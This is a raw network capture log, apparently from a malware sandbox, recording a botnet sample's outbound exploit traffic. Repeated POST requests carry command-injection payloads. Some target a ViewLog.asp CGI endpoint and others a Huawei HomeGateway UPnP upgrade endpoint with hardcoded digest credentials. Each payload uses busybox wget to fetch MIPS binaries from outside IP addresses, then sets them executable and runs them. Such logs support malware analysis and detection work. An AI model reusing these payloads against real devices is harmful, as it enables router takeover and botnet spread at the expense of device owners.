Nov 23, 2023 05:17:47.991090059 CET	433	IN	HTTP/1.0 302 Redirect Date: Thu, 23 Nov 2023 04:17:47 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html Location: /index.html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 09 09 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 28 6e 75 6c 6c 29 2f 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 6c 6f 63 61 74 69 6f 6e 3c 2f 61 3e 2e 0d 0a 09 09 50 6c 65 61 73 65 20 75 70 64 61 74 65 20 79 6f 75 72 20 64 6f 63 75 6d 65 6e 74 73 20 74 6f 20 72 65 66 6c 65 63 74 20 74 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 0d 0a 09 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head></head><body>This document has moved to a new <a href="http://(null)/index.html">location</a>.Please update your documents to reflect the new location.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	45062	94.122.224.114	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:47.889543056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	48918	94.122.88.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.401249886 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	39982	94.122.121.29	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.401318073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.574239969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.982232094 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.958265066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.590215921 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:10.854191065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	41672	94.103.88.219	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.475322008 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	47366	95.86.100.155	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.498049974 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	37740	95.86.99.213	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.498063087 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	49604	156.235.108.95	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:48.987520933 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:50.758259058 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:52.934233904 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:57.286221027 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:05.734298944 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
